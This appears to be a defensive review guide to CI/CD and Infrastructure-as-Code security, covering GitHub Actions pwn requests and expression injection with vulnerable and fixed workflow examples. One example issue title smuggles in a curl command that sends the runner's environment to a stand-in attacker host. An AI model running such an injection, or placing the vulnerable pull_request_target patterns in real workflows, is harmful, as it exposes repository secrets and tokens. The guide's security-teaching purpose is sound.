ci-cd-and-iac-security

CI/CD and Infrastructure-as-Code Security

Overview

A workflow file is code that runs with the repository's secrets and write token; an IaC file is the network and identity boundary of production. Both are reviewed as code. But IaC scanners produce long lists of hardening advice — this review reports only what an attacker can actually use.

Core principle: ask who can trigger it, what untrusted data reaches it, and what it holds (secrets, write tokens, cloud roles). A finding needs all three.

1. GitHub Actions — Untrusted Triggers

Events a stranger can cause: pull_request_target, issue_comment, issues, discussion, workflow_run (downstream of a fork PR), pull_request_review(_comment). pull_request from a fork runs without secrets and with a read-only token. workflow_dispatch inputs come from people with write access — excluded.

The pwn request — CRITICAL, a blocking category:

# ❌ fork code runs with secrets and a write token
on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@<sha>
        with: { ref: "${{ github.event.pull_request.head.sha }}" }
      - run: npm ci && npm test        # install scripts and tests from the fork
        env: { NPM_TOKEN: "${{ secrets.NPM_TOKEN }}" }

# ✅ untrusted code runs under pull_request (no secrets); privileged work happens
#    in a separate workflow that never executes PR-supplied code
on: pull_request

Same shape: workflow_run downloading an artifact built from a fork and executing or trusting it (artifact poisoning).

2. GitHub Actions — Expression Injection

# ❌ an issue titled  a"; curl -sd "$(env)" evil.example; "  runs in the shell
- run: echo "New issue: ${{ github.event.issue.title }}"

# ✅ pass through the environment; the shell sees data, not code
- run: echo "New issue: $TITLE"
  env: { TITLE: "${{ github.event.issue.title }}" }

Attacker-controlled contexts: issue/PR/comment/review titles and bodies, github.head_ref, github.event.pull_request.head.ref/label, commit messages and author names, discussion text. The same applies inside actions/github-script's script: and to values written into $GITHUB_ENV or $GITHUB_OUTPUT — an attacker-written GITHUB_ENV line can set NODE_OPTIONS, LD_PRELOAD or BASH_ENV for every later step.